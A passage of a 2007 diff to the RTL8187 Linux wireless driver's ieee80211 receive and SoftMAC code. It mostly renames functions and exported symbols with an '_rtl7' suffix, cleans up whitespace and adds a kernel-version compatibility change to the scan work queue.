crypt)) < 0) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; @@ -674,7 +740,7 @@ // ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && if ((frag != 0 || (fc & IEEE80211_FCTL_MOREFRAGS))) { int flen; - struct sk_buff *frag_skb = ieee80211_frag_cache_get(ieee, hdr); + struct sk_buff *frag_skb = ieee80211_frag_cache_get_rtl7(ieee, hdr); IEEE80211_DEBUG_FRAG("Rx Fragment received (%u)\n", frag); if (!frag_skb) { @@ -694,7 +760,7 @@ printk(KERN_WARNING "%s: host decrypted and " "reassembled frame did not fit skb\n", dev->name); - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); goto rx_dropped; } @@ -722,19 +788,19 @@ * delivered, so remove skb from fragment cache */ skb = frag_skb; hdr = (struct ieee80211_hdr *) skb->data; - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); } /* skb: hdr + (possible reassembled) full MSDU payload; possibly still * encrypted/authenticated */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - ieee80211_rx_frame_decrypt_msdu(ieee, skb, keyidx, crypt)) + ieee80211_rx_frame_decrypt_msdu_rtl7(ieee, skb, keyidx, crypt)) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep) { if (/*ieee->ieee802_1x &&*/ - ieee80211_is_eapol_frame(ieee, skb)) { + ieee80211_is_eapol_frame_rtl7(ieee, skb)) { #ifdef CONFIG_IEEE80211_DEBUG /* pass unencrypted EAPOL frames even if encryption is * configured */ @@ -763,7 +829,7 @@ #endif if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep && - !ieee80211_is_eapol_frame(ieee, skb)) { + !ieee80211_is_eapol_frame_rtl7(ieee, skb)) { IEEE80211_DEBUG_DROP( "dropped unencrypted RX data " "frame from " MAC_FMT @@ -896,7 +962,7 @@ #define MGMT_FRAME_FIXED_PART_LENGTH 0x24 -static inline int ieee80211_is_ofdm_rate(u8 rate) +static inline int ieee80211_is_ofdm_rate_rtl7(u8 rate) { switch (rate & ~IEEE80211_BASIC_RATE_MASK) { case IEEE80211_OFDM_RATE_6MB: @@ -913,7 +979,7 @@ } -static inline int ieee80211_network_init( +static inline int ieee80211_network_init_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_network *network, @@ -964,7 +1030,7 @@ switch (info_element->id) { case MFIE_TYPE_SSID: - if (ieee80211_is_empty_essid(info_element->data, + if (ieee80211_is_empty_essid_rtl7(info_element->data, info_element->len)) { network->flags |= NETWORK_EMPTY_ESSID; break; @@ -991,7 +1057,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1014,7 +1080,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1147,7 +1213,7 @@ return 1; } - if (ieee80211_is_empty_essid(network->ssid, network->ssid_len)) + if (ieee80211_is_empty_essid_rtl7(network->ssid, network->ssid_len)) network->flags |= NETWORK_EMPTY_ESSID; memcpy(&network->stats, stats, sizeof(network->stats)); @@ -1155,7 +1221,7 @@ return 0; } -static inline int is_same_network(struct ieee80211_network *src, +static inline int is_same_network_rtl7(struct ieee80211_network *src, struct ieee80211_network *dst) { /* A network is only a duplicate if the channel, BSSID, ESSID @@ -1172,7 +1238,7 @@ (dst->capability & WLAN_CAPABILITY_BSS))); } -static inline void update_network(struct ieee80211_network *dst, +static inline void update_network_rtl7(struct ieee80211_network *dst, struct ieee80211_network *src) { memcpy(&dst->stats, &src->stats, sizeof(struct ieee80211_rx_stats)); @@ -1204,7 +1270,7 @@ /* dst->last_associate is not overwritten */ } -static inline void ieee80211_process_probe_response( +static inline void ieee80211_process_probe_response_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_rx_stats *stats) @@ -1239,7 +1305,7 @@ (beacon->capability & (1<<0x1)) ? '1' : '0', (beacon->capability & (1<<0x0)) ? '1' : '0'); - if (ieee80211_network_init(ieee, beacon, &network, stats)) { + if (ieee80211_network_init_rtl7(ieee, beacon, &network, stats)) { IEEE80211_DEBUG_SCAN("Dropped '%s' (" MAC_FMT ") via %s.\n", escape_essid(info_element->data, info_element->len), @@ -1262,11 +1328,11 @@ spin_lock_irqsave(&ieee->lock, flags); - if(is_same_network(&ieee->current_network, &network)) - update_network(&ieee->current_network, &network); + if(is_same_network_rtl7(&ieee->current_network, &network)) + update_network_rtl7(&ieee->current_network, &network); list_for_each_entry(target, &ieee->network_list, list) { - if (is_same_network(target, &network)) + if (is_same_network_rtl7(target, &network)) break; if ((oldest == NULL) || @@ -1306,7 +1372,7 @@ memcpy(target, &network, sizeof(*target)); list_add_tail(&target->list, &ieee->network_list); if(ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } else { IEEE80211_DEBUG_SCAN("Updating '%s' (" MAC_FMT ") via %s.\n", escape_essid(target->ssid, @@ -1321,15 +1387,15 @@ * net and call the new_net handler */ renew = !time_after(target->last_scanned + ieee->scan_age, jiffies); - update_network(target, &network); + update_network_rtl7(target, &network); if(renew && (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE)) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_rx_mgt(struct ieee80211_device *ieee, +void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats) { @@ -1339,7 +1405,7 @@ IEEE80211_DEBUG_MGMT("received BEACON (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Beacon\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; @@ -1347,7 +1413,7 @@ IEEE80211_DEBUG_MGMT("received PROBE RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Probe response\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; @@ -1355,5 +1421,5 @@ } -EXPORT_SYMBOL(ieee80211_rx_mgt); -EXPORT_SYMBOL(ieee80211_rx); +EXPORT_SYMBOL(ieee80211_rx_mgt_rtl7); +EXPORT_SYMBOL(ieee80211_rx_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_softmac.c rtl8187_rawtx/ieee80211/ieee80211_softmac.c --- rtl8187_orig/ieee80211/ieee80211_softmac.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_softmac.c 2007-05-26 10:38:07.000000000 +0200 @@ -1,14 +1,14 @@ /* IEEE 802.11 SoftMAC layer * Copyright (c) 2005 Andrea Merello * - * Mostly extracted from the rtl8180-sa2400 driver for the + * Mostly extracted from the rtl8180-sa2400 driver for the * in-kernel generic ieee802.11 stack. * * Few lines might be stolen from other part of the ieee80211 * stack. Copyright who own it's copyright * * WPA code stolen from the ipw2200 driver. - * Copyright who own it's copyright. + * Copyright who own it's copyright. * * released under the GPL */ @@ -20,12 +20,12 @@ #include #include -short ieee80211_is_54g(struct ieee80211_network net) +short ieee80211_is_54g_rtl7(struct ieee80211_network net) { return ((net.rates_ex_len > 0) || (net.rates_len > 4)); } -short ieee80211_is_shortslot(struct ieee80211_network net) +short ieee80211_is_shortslot_rtl7(struct ieee80211_network net) { return (net.capability & WLAN_CAPABILITY_SHORT_SLOT); } @@ -34,28 +34,28 @@ * tag and the EXTENDED RATE MFIE tag if needed. * It encludes two bytes per tag for the tag itself and its len */ -unsigned int ieee80211_MFIE_rate_len(struct ieee80211_device *ieee) +unsigned int ieee80211_MFIE_rate_len_rtl7(struct ieee80211_device *ieee) { unsigned int rate_len = 0; - + if (ieee->modulation & IEEE80211_CCK_MODULATION) rate_len = IEEE80211_CCK_RATE_LEN + 2; - + if (ieee->modulation & IEEE80211_OFDM_MODULATION) - + rate_len += IEEE80211_OFDM_RATE_LEN + 2; - + return rate_len; } -/* pleace the MFIE rate, tag to the memory (double) poined. +/* pleace the MFIE rate, tag to the memory (double) poined. * Then it updates the pointer so that * it points after the new MFIE tag added. - */ -void ieee80211_MFIE_Brate(struct ieee80211_device *ieee, u8 **tag_p) + */ +void ieee80211_MFIE_Brate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) { - u8 *tag = *tag_p; - + u8 *tag = *tag_p; + if (ieee->modulation & IEEE80211_CCK_MODULATION){ *tag++ = MFIE_TYPE_RATES; *tag++ = 4; @@ -64,17 +64,17 @@ *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB; } - + /* We may add an option for custom rates that specific HW might support */ *tag_p = tag; } -void ieee80211_MFIE_Grate(struct ieee80211_device *ieee, u8 **tag_p) -{ - u8 *tag = *tag_p; - +void ieee80211_MFIE_Grate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) +{ + u8 *tag = *tag_p; + if (ieee->modulation & IEEE80211_OFDM_MODULATION){ - + *tag++ = MFIE_TYPE_RATES_EX; *tag++ = 8; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB; @@ -85,73 +85,73 @@ *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB; - + } - + /* We may add an option for custom rates that specific HW might support */ *tag_p = tag; } -void enqueue_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb) +void enqueue_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { int nh; nh = (ieee->mgmt_queue_head +1) % MGMT_QUEUE_NUM; - + /* * if the queue is full but we have newer frames then * just overwrites the oldest. - * + * * if (nh == ieee->mgmt_queue_tail) * return -1; - */ + */ ieee->mgmt_queue_head = nh; ieee->mgmt_queue_ring[nh] = skb; - + //return 0; } -struct sk_buff *dequeue_mgmt(struct ieee80211_device *ieee) +struct sk_buff *dequeue_mgmt_rtl7(struct ieee80211_device *ieee) { struct sk_buff *ret; - + if(ieee->mgmt_queue_tail == ieee->mgmt_queue_head) return NULL; - + ret = ieee->mgmt_queue_ring[ieee->mgmt_queue_tail]; - - ieee->mgmt_queue_tail = + + ieee->mgmt_queue_tail = (ieee->mgmt_queue_tail+1) % MGMT_QUEUE_NUM; - + return ret; } -void init_mgmt_queue(struct ieee80211_device *ieee) +void init_mgmt_queue_rtl7(struct ieee80211_device *ieee) { ieee->mgmt_queue_tail = ieee->mgmt_queue_head = 0; } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl); +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl); -inline void softmac_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { unsigned long flags; short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; struct ieee80211_hdr_3addr *header= (struct ieee80211_hdr_3addr *) skb->data; - - + + spin_lock_irqsave(&ieee->lock, flags); - + /* called with 2nd param 0, no mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); - + ieee80211_sta_wakeup_rtl7(ieee,0); + if(single){ - + if(ieee->queue_stop){ - - enqueue_mgmt(ieee,skb); - + + enqueue_mgmt_rtl7(ieee,skb); + }else{ header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); @@ -159,119 +159,119 @@ ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + /* avoid watchdog triggers */ ieee->dev->trans_start = jiffies; ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate); } - + spin_unlock_irqrestore(&ieee->lock, flags); }else{ spin_unlock_irqrestore(&ieee->lock, flags); spin_lock_irqsave(&ieee->mgmt_tx_lock, flags); - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + ieee->softmac_hard_start_xmit(skb,ieee->dev); - + spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags); } } -inline void softmac_ps_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_ps_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { - + short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; struct ieee80211_hdr_3addr *header = (struct ieee80211_hdr_3addr *) skb->data; - - + + if(single){ - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + /* avoid watchdog triggers */ ieee->dev->trans_start = jiffies; ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate); - + }else{ - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; ieee->softmac_hard_start_xmit(skb,ieee->dev); - + } } -inline struct sk_buff *ieee80211_probe_req(struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_probe_req_rtl7(struct ieee80211_device *ieee) { unsigned int len,rate_len; u8 *tag; struct sk_buff *skb; struct ieee80211_probe_request *req; - + len = ieee->current_network.ssid_len; - - rate_len = ieee80211_MFIE_rate_len(ieee); - + + rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); + skb = dev_alloc_skb(sizeof(struct ieee80211_probe_request) + 2 + len + rate_len); - - if (!skb) + + if (!skb) return NULL; - + req = (struct ieee80211_probe_request *) skb_put(skb,sizeof(struct ieee80211_probe_request)); req->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_REQ); - req->header.duration_id = 0; //FIXME: is this OK ? - + req->header.duration_id = 0; //FIXME: is this OK ? + memset(req->header.addr1, 0xff, ETH_ALEN); memcpy(req->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memset(req->header.addr3, 0xff, ETH_ALEN); - + tag = (u8 *) skb_put(skb,len+2+rate_len); - + *tag++ = MFIE_TYPE_SSID; *tag++ = len; memcpy(tag, ieee->current_network.ssid, len); tag += len; - - ieee80211_MFIE_Brate(ieee,&tag); - ieee80211_MFIE_Grate(ieee,&tag); + + ieee80211_MFIE_Brate_rtl7(ieee,&tag); + ieee80211_MFIE_Grate_rtl7(ieee,&tag); return skb; } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee); -void ieee80211_send_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee); +void ieee80211_send_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - - unsigned long flags; - - skb = ieee80211_get_beacon_(ieee); + + unsigned long flags; + + skb = ieee80211_get_beacon__rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_beacons++; } - ieee->beacon_timer.expires = jiffies + + ieee->beacon_timer.expires = jiffies + (MSECS( ieee->current_network.beacon_interval -5)); - + spin_lock_irqsave(&ieee->beacon_lock,flags); if(ieee->beacon_txing) add_timer(&ieee->beacon_timer); @@ -279,57 +279,57 @@ } -void ieee80211_send_beacon_cb(unsigned long _ieee) +void ieee80211_send_beacon_cb_rtl7(unsigned long _ieee) { struct ieee80211_device *ieee = (struct ieee80211_device *) _ieee; - ieee80211_send_beacon(ieee); + ieee80211_send_beacon_rtl7(ieee); } -void ieee80211_send_probe(struct ieee80211_device *ieee) +void ieee80211_send_probe_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - - skb = ieee80211_probe_req(ieee); + + skb = ieee80211_probe_req_rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_probe_rq++; } } -void ieee80211_send_probe_requests(struct ieee80211_device *ieee) +void ieee80211_send_probe_requests_rtl7(struct ieee80211_device *ieee) { if (ieee->active_scan && (ieee->softmac_features & IEEE_SOFTMAC_PROBERQ)){ - ieee80211_send_probe(ieee); - ieee80211_send_probe(ieee); + ieee80211_send_probe_rtl7(ieee); + ieee80211_send_probe_rtl7(ieee); } } /* this performs syncro scan blocking the caller until all channels - * in the allowed channel map has been checked. + * in the allowed channel map has been checked. */ -void ieee80211_softmac_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_softmac_scan_syncro_rtl7(struct ieee80211_device *ieee) { short ch = 0; - + down(&ieee->scan_sem); - + while(1) { - + do{ ch++; - if (ch > MAX_CHANNEL_NUMBER) + if (ch > MAX_CHANNEL_NUMBER) goto out; /* scan completed */ - + }while(!ieee->channel_map[ch]); - + /* this fuction can be called in two situations * 1- We have switched to ad-hoc mode and we are * performing a complete syncro scan before conclude - * there are no interesting cell and to create a - * new one. In this case the link state is + * there are no interesting cell and to create a + * new one. In this case the link state is * IEEE80211_NOLINK until we found an interesting cell. * If so the ieee8021_new_net, called by the RX path * will set the state to IEEE80211_LINKED, so we stop @@ -342,24 +342,24 @@ * not filter RX frames and the channel is changing. * So the only situation in witch are interested is to check * if the state become LINKED because of the #1 situation - */ - + */ + if (ieee->state == IEEE80211_LINKED) goto out; - + ieee->set_chan(ieee->dev, ch); - - ieee80211_send_probe_requests(ieee); - + + ieee80211_send_probe_requests_rtl7(ieee); + /* this prevent excessive time wait when we * need to wait for a syncro scan to end.. - */ + */ if (ieee->sync_scan_hurryup) goto out; msleep_interruptible_rtl(IEEE80211_SOFTMAC_SCAN_TIME); - + } out: ieee->sync_scan_hurryup = 0; @@ -370,43 +370,49 @@ void ieee80211_softmac_scan(struct ieee80211_device *ieee) { short watchdog = 0; - + do{ - ieee->current_network.channel = + ieee->current_network.channel = (ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER; - if (watchdog++ > MAX_CHANNEL_NUMBER) + if (watchdog++ > MAX_CHANNEL_NUMBER) return; /* no good chans */ - + }while(!ieee->channel_map[ieee->current_network.channel]); - + schedule_work(&ieee->softmac_scan_wq); } #endif -void ieee80211_softmac_scan_wq(struct ieee80211_device *ieee) -{ - down(&ieee->scan_sem); - +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_softmac_scan_wq_rtl7(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, softmac_scan_wq); +#else +void ieee80211_softmac_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short watchdog = 0; - + down(&ieee->scan_sem); + do{ - ieee->current_network.channel = + ieee->current_network.channel = (ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER; - if (watchdog++ > MAX_CHANNEL_NUMBER) + if (watchdog++ > MAX_CHANNEL_NUMBER) goto out; /* no good chans */ - + }while(!ieee->channel_map[ieee->current_network.channel]); - + if (ieee->scanning == 0 ) goto out; - + ieee->set_chan(ieee->dev, ieee->current_network.channel); - ieee80211_send_probe_requests(ieee); + ieee80211_send_probe_requests_rtl7(ieee); -#if 0 +#if 0 ieee->.expires = jiffies + (IEEE80211_SOFTMAC_SCAN_TIME); - if (ieee->scanning == 1) + if (ieee->scanning == 1) add_timer(&ieee->scan_timer); #endif queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, IEEE80211_SOFTMAC_SCAN_TIME); @@ -419,7 +425,7 @@ { unsigned long flags; struct ieee80211_device *ieee = (struct ieee80211_device *)_dev; - + spin_lock_irqsave(&ieee->lock, flags); ieee80211_softmac_scan(ieee); spin_unlock_irqrestore(&ieee->lock, flags); @@ -427,19 +433,19 @@ #endif -void ieee80211_beacons_start(struct ieee80211_device *ieee) +void ieee80211_beacons_start_rtl7(struct ieee80211_device *ieee) { - unsigned long flags; + unsigned long flags; spin_lock_irqsave(&ieee->beacon_lock,flags); ieee->beacon_txing = 1; - ieee80211_send_beacon(ieee); - + ieee80211_send_beacon_rtl7(ieee); + spin_unlock_irqrestore(&ieee->beacon_lock,flags); } -void ieee80211_beacons_stop(struct ieee80211_device *ieee) +void ieee80211_beacons_stop_rtl7(struct ieee80211_device *ieee) { unsigned long flags; @@ -453,111 +459,111 @@ } -void ieee80211_stop_send_beacons(struct ieee80211_device *ieee) +void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->stop_send_beacons) ieee->stop_send_beacons(ieee->dev); if (ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_stop(ieee); + ieee80211_beacons_stop_rtl7(ieee); } -void ieee80211_start_send_beacons(struct ieee80211_device *ieee) +void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->start_send_beacons) ieee->start_send_beacons(ieee->dev); if(ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_start(ieee); + ieee80211_beacons_start_rtl7(ieee); } -void ieee80211_softmac_stop_scan(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_scan_rtl7(struct ieee80211_device *ieee) { -// unsigned long flags; - +// unsigned long flags; + //ieee->sync_scan_hurryup = 1; - + down(&ieee->scan_sem); // spin_lock_irqsave(&ieee->lock, flags); - + if (ieee->scanning == 1){ ieee->scanning = 0; //del_timer_sync(&ieee->scan_timer); cancel_delayed_work(&ieee->softmac_scan_wq); } - + // spin_unlock_irqrestore(&ieee->lock, flags); up(&ieee->scan_sem); } -void ieee80211_stop_scan(struct ieee80211_device *ieee) +void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee) { if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_stop_scan(ieee); + ieee80211_softmac_stop_scan_rtl7(ieee); else ieee->stop_scan(ieee->dev); } /* called with ieee->lock held */ -void ieee80211_start_scan(struct ieee80211_device *ieee) +void ieee80211_start_scan_rtl7(struct ieee80211_device *ieee) { - if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ + if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ if (ieee->scanning == 0){ ieee->scanning = 1; //ieee80211_softmac_scan(ieee); - queue_work(ieee->wq, &ieee->softmac_scan_wq); + queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, 0); } }else ieee->start_scan(ieee->dev); - + } /* called with wx_sem held */ -void ieee80211_start_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; - + if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_scan_syncro(ieee); + ieee80211_softmac_scan_syncro_rtl7(ieee); else ieee->scan_syncro(ieee->dev); - + } -inline struct sk_buff *ieee80211_authentication_req(struct ieee80211_network *beacon, +inline struct sk_buff *ieee80211_authentication_req_rtl7(struct ieee80211_network *beacon, struct ieee80211_device *ieee, int challengelen) { - struct sk_buff *skb; + struct sk_buff *skb; struct ieee80211_authentication *auth; - - skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen); - + + skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen); + if (!skb) return NULL; - + auth = (struct ieee80211_authentication *) skb_put(skb, sizeof(struct ieee80211_authentication)); - + auth->header.frame_ctl = IEEE80211_STYPE_AUTH; if (challengelen) auth->header.frame_ctl |= IEEE80211_FCTL_WEP; - + auth->header.duration_id = 0x013a; //FIXME - + memcpy(auth->header.addr1, beacon->bssid, ETH_ALEN); memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr3, beacon->bssid, ETH_ALEN); - + auth->algorithm = ieee->open_wep ? WLAN_AUTH_OPEN : WLAN_AUTH_SHARED_KEY; - + auth->transaction = cpu_to_le16(ieee->associate_seq); ieee->associate_seq++; - + auth->status = cpu_to_le16(WLAN_STATUS_SUCCESS); - + return skb; - + } -static struct sk_buff* ieee80211_probe_resp(struct ieee80211_device *ieee, u8 *dest) +static struct sk_buff* ieee80211_probe_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { u8 *tag; int beacon_size; @@ -566,23 +572,23 @@ int encrypt; int atim_len,erp_len; struct ieee80211_crypt_data* crypt; - + char *ssid = ieee->current_network.ssid; int ssid_len = ieee->current_network.ssid_len; int rate_len = ieee->current_network.rates_len+2; int rate_ex_len = ieee->current_network.rates_ex_len; if(rate_ex_len > 0) rate_ex_len+=2; - + if(ieee->current_network.capability & WLAN_CAPABILITY_IBSS) atim_len = 4; else atim_len = 0; - - if(ieee80211_is_54g(ieee->current_network)) + + if(ieee80211_is_54g_rtl7(ieee->current_network)) erp_len = 3; else erp_len = 0; - + beacon_size = sizeof(struct ieee80211_probe_response)+ ssid_len +3 //channel @@ -590,72 +596,72 @@ +rate_ex_len +atim_len +erp_len; - + skb = dev_alloc_skb(beacon_size); - - if (!skb) + + if (!skb) return NULL; - + beacon_buf = (struct ieee80211_probe_response*) skb_put(skb, beacon_size); - + memcpy (beacon_buf->header.addr1, dest,ETH_ALEN); memcpy (beacon_buf->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy (beacon_buf->header.addr3, ieee->current_network.bssid, ETH_ALEN); beacon_buf->header.duration_id = 0; //FIXME - beacon_buf->beacon_interval = + beacon_buf->beacon_interval = cpu_to_le16(ieee->current_network.beacon_interval); - beacon_buf->capability = + beacon_buf->capability = cpu_to_le16(ieee->current_network.capability & WLAN_CAPABILITY_IBSS); - + if(ieee->short_slot && (ieee->current_network.capability & WLAN_CAPABILITY_SHORT_SLOT)) - cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT)); - + cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT)); + crypt = ieee->crypt[ieee->tx_keyidx]; - encrypt = ieee->host_encrypt && crypt && crypt->ops && + encrypt = ieee->host_encrypt && crypt && crypt->ops && (0 == strcmp(crypt->ops->name, "WEP")); - if (encrypt) + if (encrypt) beacon_buf->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - - + + beacon_buf->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_RESP); - - beacon_buf->info_element.id = MFIE_TYPE_SSID; + + beacon_buf->info_element.id = MFIE_TYPE_SSID; beacon_buf->info_element.len = ssid_len; - + tag = (u8*) beacon_buf->info_element.data; - + memcpy(tag, ssid, ssid_len); - + tag += ssid_len; - + *(tag++) = MFIE_TYPE_RATES; - *(tag++) = rate_len-2; + *(tag++) = rate_len-2; memcpy(tag,ieee->current_network.rates,rate_len-2); tag+=rate_len-2; - + *(tag++) = MFIE_TYPE_DS_SET; *(tag++) = 1; *(tag++) = ieee->current_network.channel; - + if(atim_len){ *(tag++) = MFIE_TYPE_IBSS_SET; *(tag++) = 2; *((u16*)(tag)) = cpu_to_le16(ieee->current_network.atim_window); tag+=2; } - + if(erp_len){ *(tag++) = MFIE_TYPE_ERP; *(tag++) = 1; - *(tag++) = 0; + *(tag++) = 0; } - + if(rate_ex_len){ *(tag++) = MFIE_TYPE_RATES_EX; - *(tag++) = rate_ex_len-2; + *(tag++) = rate_ex_len-2; memcpy(tag,ieee->current_network.rates_ex,rate_ex_len-2); tag+=rate_ex_len-2; } @@ -664,208 +670,208 @@ } -struct sk_buff* ieee80211_assoc_resp(struct ieee80211_device *ieee, u8 *dest) +struct sk_buff* ieee80211_assoc_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { struct sk_buff *skb; u8* tag; - + struct ieee80211_crypt_data* crypt; struct ieee80211_assoc_response_frame *assoc; short encrypt; - - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); + + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); int len = sizeof(struct ieee80211_assoc_response_frame) + rate_len; - - skb = dev_alloc_skb(len); - - if (!skb) + + skb = dev_alloc_skb(len); + + if (!skb) return NULL; - + assoc = (struct ieee80211_assoc_response_frame *) skb_put(skb,sizeof(struct ieee80211_assoc_response_frame)); - + assoc->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_ASSOC_RESP); memcpy(assoc->header.addr1, dest,ETH_ALEN); memcpy(assoc->header.addr3, ieee->dev->dev_addr, ETH_ALEN); memcpy(assoc->header.addr2, ieee->dev->dev_addr, ETH_ALEN); - assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ? + assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ? WLAN_CAPABILITY_BSS : WLAN_CAPABILITY_IBSS); - - + + if(ieee->short_slot) assoc->capability |= 